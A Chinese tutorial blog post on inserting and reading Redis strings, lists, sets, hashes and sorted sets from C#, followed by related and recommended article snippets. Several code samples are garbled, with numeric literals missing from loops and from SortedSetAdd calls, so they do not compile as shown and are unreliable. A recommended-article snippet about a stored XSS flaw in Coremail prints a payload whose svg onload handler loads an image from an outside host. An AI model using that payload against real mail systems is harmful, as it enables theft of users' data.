我在网上找了好久,就是没有找到Redis和C#结合的书,都是和别的编程语言在一起鬼混。

简单的用C#实现向Redis中插入那我中类型的数据

首先需要到NuGet 里面下载 Redis

IDatabase cache = ConnectionMultiplexer.Connect("127.0.0.1").GetDatabase();

这条语句创建一个Redis的实例

string 字符串操作

cache.StringSet("qiao", "1111");

Console.WriteLine(cache.StringGet("qiao"));

这是一个简单的读取

List列表操作

        IDatabase cache = ConnectionMultiplexer.Connect("127.0.0.1").GetDatabase();
for (int i = ; i < ; i++)
{
cache.ListRightPush("qiao", i);
}
cache.ListRightPush(
"qiao",
""
);
string sss = cache.ListLeftPop("qiao");
Console.WriteLine(sss); Console.ReadLine();

这里使用 ListRightPush 操作向Redis中存入数据

然后使用 ListLeftPop 从Redis中读取数据

集合操作

cache.SetAdd("jihe1", "ssss");向内存中插入一条数据

            cache.SetAdd("jihe1", "ssss");
cache.SetAdd("jihe1", "ssss1");
cache.SetAdd("jihe1", "ssss1");
RedisValue[] redisValue = cache.SetMembers("jihe1");
foreach (var item in redisValue)
{
Console.WriteLine(item);
}

输出

散列

cache.HashSet("hashSet", "hashKey", "hashValue");
cache.HashSet("hashSet", "hashKey1", "qiao");
cache.HashSet("hashSet", "hashKey2", "an");
cache.HashSet("hashSet", "hashKey3", "sheng");
HashEntry[] HashGet = cache.HashGetAll("hashSet");
foreach (var item in HashGet)
{
Console.WriteLine(item.Name + " --- " + item.Value);
}
Console.ReadLine();

输出

有序集合

cache.SortedSetAdd("ssAdd", "Keys11", 1111);向内存中存入一条数据
cache.SortedSetAdd("ssAdd", "Keys11", );
cache.SortedSetAdd("ssAdd", "Keys22", );
cache.SortedSetAdd("ssAdd", "Keys33", );
cache.SortedSetAdd("ssAdd", "Keys44", );
RedisValue[] sss = cache.SortedSetRangeByRank("ssAdd");
for (int i = ; i < sss.Length; i++)
{
Console.WriteLine(sss[i] + " --- " + sss[i].HasValue);
Console.WriteLine();
}

Redis学习二 C#中如何进行这五种数据类型的操作的更多相关文章

  1. <Redis> 入门二 五种数据类型的操作、通用key的操作、发布订阅

    文档参考:http://www.redis.net.cn/ string - > key value 简单的keyvalue,常规计数:例如微博数,粉丝数 set     -> key v ...

  2. Redis学习二:Redis高并发之主从模式

    申明 本文章首发自本人公众号:壹枝花算不算浪漫,如若转载请标明来源! 感兴趣的小伙伴可关注个人公众号:壹枝花算不算浪漫 22.jpg 前言 前面已经学习了Redis的持久化方式,接下来开始学习Redi ...

  3. Redis学习笔记(3)—— 五种数据类型&keys的通用操作

    一.Redis数据结构介绍 redis是一种高级的key-value的存储系统,其中的key是字符串类型,尽可能满足如下几点: 1)key不要太长,最好不要操作1024个字节,这不仅会消耗内存还会降低 ...

  4. JavaScript学习12 JS中定义对象的几种方式

    JavaScript学习12 JS中定义对象的几种方式 JavaScript中没有类的概念,只有对象. 在JavaScript中定义对象可以采用以下几种方式: 1.基于已有对象扩充其属性和方法 2.工 ...

  5. JavaScript学习12 JS中定义对象的几种方式【转】

    avaScript学习12 JS中定义对象的几种方式 转自:  http://www.cnblogs.com/mengdd/p/3697255.html JavaScript中没有类的概念,只有对象. ...

  6. redis五种数据类型的使用场景

    string 1.String 常用命令: 除了get.set.incr.decr mget等操作外,Redis还提供了下面一些操作: 获取字符串长度 往字符串append内容 设置和获取字符串的某一 ...

  7. 【Redis】一、Redis简介及五种数据类型

    (一)Redis简介   Redis(Remote Dictionary Server)是一个使用ANSI C语言编写.遵守BSD协议.支持网络.可基于内存亦可持久化的日志型.Key-Value的开源 ...

  8. Redis五种数据类型及应用场景

    MySql+Memcached架构的问题 实际MySQL是适合进行海量数据存储的,通过Memcached将热点数据加载到cache,加速访问,很多公司都曾经使用过这样的架构,但随着业务数据量的不断增加 ...

  9. Redis五种数据类型应用场景

    目录 1.1 回顾 2.1 应用场景 2.1.1 String 2.1.2 Hash 2.1.3 List 2.1.4 Zet 2.1.5 zset 3.1 小结 1.1 回顾 Redis的五种数据类 ...

随机推荐

  1. 游戏控制杆OUYA游戏开发快速入门教程

    游戏控制杆OUYA游戏开发快速入门教程 1.2.2  游戏控制杆 游戏控制杆各个角度的视图,如图1-4所示,它的硬件规格是本文选自OUYA游戏开发快速入门教程大学霸: 图1-4  游戏控制杆各个角度的 ...

  2. json学习系列(3)-JSONObject的过滤设置

    我们通常对一个json串和java对象进行互转时,经常会有选择性的过滤掉一些属性值.例如下面的实体类: package com.pcitc.json; /** * Person实体类 * * @Des ...

  3. phpStudy启动失败时的解决方法

    phpStudy启动失败时的解决方法 phpStudy启动失败,原因一是防火墙拦截,二是80端口已经被别的程序占用,如IIS,迅雷等:三是没有安装VC9运行库,php和apache都是VC9编译.解决 ...

  4. HDU1576 A/B(乘法逆元)

    题目的代数系统可以看作整数模9973乘法群?然后存在乘法逆元. 于是题目要求$A \div B \pmod {9973} $其实就相当于求$A \times B^{-1}\pmod {9973} $. ...

  5. CentOS6.4 配置Tengine

    1.安装Nginx所需的pcre-devel库 yum install -y gcc gcc-c++ wget ftp://ftp.csx.cam.ac.uk/pub/software/program ...

  6. Chromium的GPU进程启动流程

    转载请注明出处:http://www.cnblogs.com/fangkm/p/3960327.html 硬件渲染依赖计算机的GPU,GPU种类繁多,兼容这么多种类的硬件,稳定性是个大问题,虽然Chr ...

  7. C# int转byte[],byte[]转int

    第一种方法: byte数组转int u = (uint)(b[0] | b[1] << 8 |b[2] << 16 | b[3] << 24); int转byte数 ...

  8. Qt Creator Shortcuts 快捷键大全

    编号 快捷键 功能 1 Esc 切换到代码编辑状态 2 F1 查看帮助(选中某一类或函数,按下F1,出现帮助文档) 3 F2 在光标选中对象的声明和定义之间切换(和Ctrl+鼠标左键一样的效果,选中某 ...

  9. openstack-L版安装

    参照官方install document: http://docs.openstack.org/liberty/install-guide-rdo/ 实验环境:centos7.2 桥接: 192.16 ...

  10. Coremail邮件系统存储型XSS两个

    (1):Coremail邮件系统存储型XSS之一 给受害者发送主题如下的邮件: <svg onload='img=new Image();img.src="//x55.me/geo.p ...